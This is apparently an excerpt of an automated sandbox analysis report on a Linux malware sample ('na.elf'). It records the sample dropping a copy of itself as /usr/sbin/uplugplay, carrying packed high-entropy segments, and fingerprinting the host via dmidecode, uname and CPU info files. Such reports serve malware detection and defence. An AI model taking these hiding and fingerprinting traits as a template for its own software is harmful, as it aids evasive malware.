Hooking and other Techniques for Hiding and Protection

barindex
Source: /tmp/na.elf (PID: 6232) File: /usr/sbin/uplugplay Jump to dropped file
Source: /bin/sh (PID: 6440) Dmidecode executable: /usr/sbin/dmidecode dmidecode --type baseboard Jump to behavior
Source: /bin/sh (PID: 6448) Dmidecode executable: /usr/sbin/dmidecode dmidecode Jump to behavior
Source: /tmp/na.elf (PID: 6232) File: /tmp/na.elf Jump to behavior
Source: na.elf Submission file: segment LOAD with 7.6054 entropy (max. 8.0)
Source: na.elf Submission file: segment LOAD with 7.943 entropy (max. 8.0)
Source: uplugplay.12.dr Dropped file: segment LOAD with 7.6054 entropy (max. 8.0)
Source: uplugplay.12.dr Dropped file: segment LOAD with 7.943 entropy (max. 8.0)
Source: /usr/sbin/uplugplay (PID: 6289) Reads CPU info from proc file: /proc/cpuinfo Jump to behavior
Source: /usr/bin/pgrep (PID: 6236) Reads CPU info from /sys: /sys/devices/system/cpu/online Jump to behavior
Source: /usr/bin/pgrep (PID: 6246) Reads CPU info from /sys: /sys/devices/system/cpu/online Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) Reads CPU info from /sys: /sys/devices/system/cpu/online Jump to behavior
Source: /usr/sbin/uplugplay (PID: 6289) Reads CPU info from /sys: /sys/devices/system/cpu/online Jump to behavior
Source: /usr/bin/uptime (PID: 6444) Reads CPU info from /sys: /sys/devices/system/cpu/online Jump to behavior
Source: /usr/bin/uptime (PID: 6456) Reads CPU info from /sys: /sys/devices/system/cpu/online Jump to behavior
Source: /tmp/na.elf (PID: 6232) Queries kernel information via 'uname': Jump to behavior
Source: /usr/sbin/uplugplay (PID: 6286) Queries kernel information via 'uname': Jump to behavior
Source: /usr/sbin/uplugplay (PID: 6289) Queries kernel information via 'uname': Jump to behavior
Source: /usr/bin/uname (PID: 6452) Queries kernel information via 'uname': Jump to behavior
Source: /usr/bin/uname (PID: 6460) Queries kernel information via 'uname': Jump to behavior
Source: /lib/systemd/systemd-hostnamed (PID: 6295) Queries kernel information via 'uname': Jump to behavior

Language, Device and Operating System Detection

barindex
Source: /bin/sh (PID: 6440) Dmidecode executable: /usr/sbin/dmidecode dmidecode --type baseboard Jump to behavior
Source: /bin/sh (PID: 6448) Dmidecode executable: /usr/sbin/dmidecode dmidecode Jump to behavior
Source: /bin/sh (PID: 6452) Uname executable: /usr/bin/uname -> uname -a Jump to behavior
Source: /bin/sh (PID: 6460) Uname executable: /usr/bin/uname -> uname -a Jump to behavior
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs